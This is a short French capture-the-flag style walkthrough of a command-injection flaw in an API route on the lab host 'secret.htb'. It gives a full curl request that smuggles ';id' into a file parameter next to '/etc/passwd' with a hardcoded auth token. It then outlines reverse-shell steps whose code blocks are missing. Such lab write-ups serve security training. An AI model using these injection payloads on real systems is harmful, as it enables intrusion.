Abus d'API (RCE) - Pentesting Web

Vulnérabilité RCE:

Ce code présente un problème de sécurité en raison de l'injection de commandes. Étant donné que file provient des paramètres de la requête et est inséré directement dans la commande du terminal, un utilisateur malveillant pourrait modifier file pour exécuter d'autres commandes. La fonction de cette route est d'exécuter la commande git log --oneline [file] sur le système, où [file] est un fichier spécifique demandé dans le paramètre de requête de la demande.

Voici un exemple de commande curl qui tente d’injecter id:

curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq

Nous allons exécuter un reverse shell :

  1. Créez un fichier index.html sur notre machine et créez un serveur web avec le contenu suivant :

  1. Ensuite, mettez-vous à l'écoute sur le port 4444 :

Exécutez une injection avec curl sur notre serveur web :

Mis à jour

Ce contenu vous a-t-il été utile ?